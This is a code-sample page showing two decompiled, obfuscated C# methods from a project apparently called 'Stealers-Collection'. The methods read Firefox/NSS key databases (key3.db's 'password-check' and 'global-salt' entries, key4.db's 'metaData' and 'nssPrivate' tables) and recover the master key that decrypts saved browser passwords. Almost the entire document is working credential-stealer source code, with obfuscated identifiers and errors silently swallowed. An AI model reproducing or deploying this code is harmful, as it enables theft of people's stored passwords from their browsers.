コード例 #1
0
ファイル: hhhh6r.cs プロジェクト: yaskin/Stealers-Collection
 // Token: 0x06000CC8 RID: 3272 RVA: 0x00028A30 File Offset: 0x00026C30
 private static byte[] p3k(string file)
 {
     byte[] array = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(array);
         }
         new DataTable();
         ррп6    berkeleyDB = new ррп6(file);
         о6а     о6а        = new о6а(hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("password-check")));
         string  hexString  = hhhh6r.vbv(berkeleyDB, (string x) => x.Equals("global-salt"));
         р6прлгв р6прлгв    = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), rcvr.ConvertHexStringToByteArray(о6а.EntrySalt));
         р6прлгв.го7па();
         шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, rcvr.ConvertHexStringToByteArray(о6а.Passwordcheck), PaddingMode.None);
         нкрпар  нкрпар   = Апн.Create(rcvr.ConvertHexStringToByteArray(hhhh6r.vbv(berkeleyDB, (string x) => !x.Equals("password-check") && !x.Equals("Version") && !x.Equals("global-salt"))));
         р6прлгв р6прлгв2 = new р6прлгв(rcvr.ConvertHexStringToByteArray(hexString), Encoding.Default.GetBytes(string.Empty), нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData);
         р6прлгв2.го7па();
         нкрпар нкрпар2 = Апн.Create(Апн.Create(Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв2.DataKey, р6прлгв2.DataIV, нкрпар.Objects[0].Objects[1].ObjectData, PaddingMode.None))).Objects[0].Objects[2].ObjectData);
         if (нкрпар2.Objects[0].Objects[3].ObjectData.Length > 24)
         {
             Array.Copy(нкрпар2.Objects[0].Objects[3].ObjectData, нкрпар2.Objects[0].Objects[3].ObjectData.Length - 24, array, 0, 24);
         }
         else
         {
             array = нкрпар2.Objects[0].Objects[3].ObjectData;
         }
     }
     catch (Exception)
     {
     }
     return(array);
 }
コード例 #2
0
 private static byte[] p4k(string file)
 {
     byte[] result = new byte[24];
     try
     {
         if (!File.Exists(file))
         {
             return(result);
         }
         CNT cNT = new CNT(file);
         cNT.ReadTable("metaData");
         string  s           = cNT.ParseValue(0, "item1");
         string  s2          = cNT.ParseValue(0, "item2)");
         нкрпар  нкрпар      = Апн.Create(Encoding.Default.GetBytes(s2));
         byte[]  objectData  = нкрпар.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         byte[]  objectData2 = нкрпар.Objects[0].Objects[1].ObjectData;
         р6прлгв р6прлгв     = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         р6прлгв.го7па();
         шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2);
         cNT.ReadTable("nssPrivate");
         int    rowLength = cNT.RowLength;
         string s3        = string.Empty;
         for (int i = 0; i < rowLength; i++)
         {
             if (cNT.ParseValue(i, "a102") == Encoding.Default.GetString(strg.Key4MagicNumber))
             {
                 s3 = cNT.ParseValue(i, "a11");
                 break;
             }
         }
         нкрпар нкрпар2 = Апн.Create(Encoding.Default.GetBytes(s3));
         objectData  = нкрпар2.Objects[0].Objects[0].Objects[1].Objects[0].ObjectData;
         objectData2 = нкрпар2.Objects[0].Objects[1].ObjectData;
         р6прлгв     = new р6прлгв(Encoding.Default.GetBytes(s), Encoding.Default.GetBytes(string.Empty), objectData);
         р6прлгв.го7па();
         result = Encoding.Default.GetBytes(шо67г.lTRjlt(р6прлгв.DataKey, р6прлгв.DataIV, objectData2, PaddingMode.PKCS7));
         return(result);
     }
     catch (Exception)
     {
         return(result);
     }
 }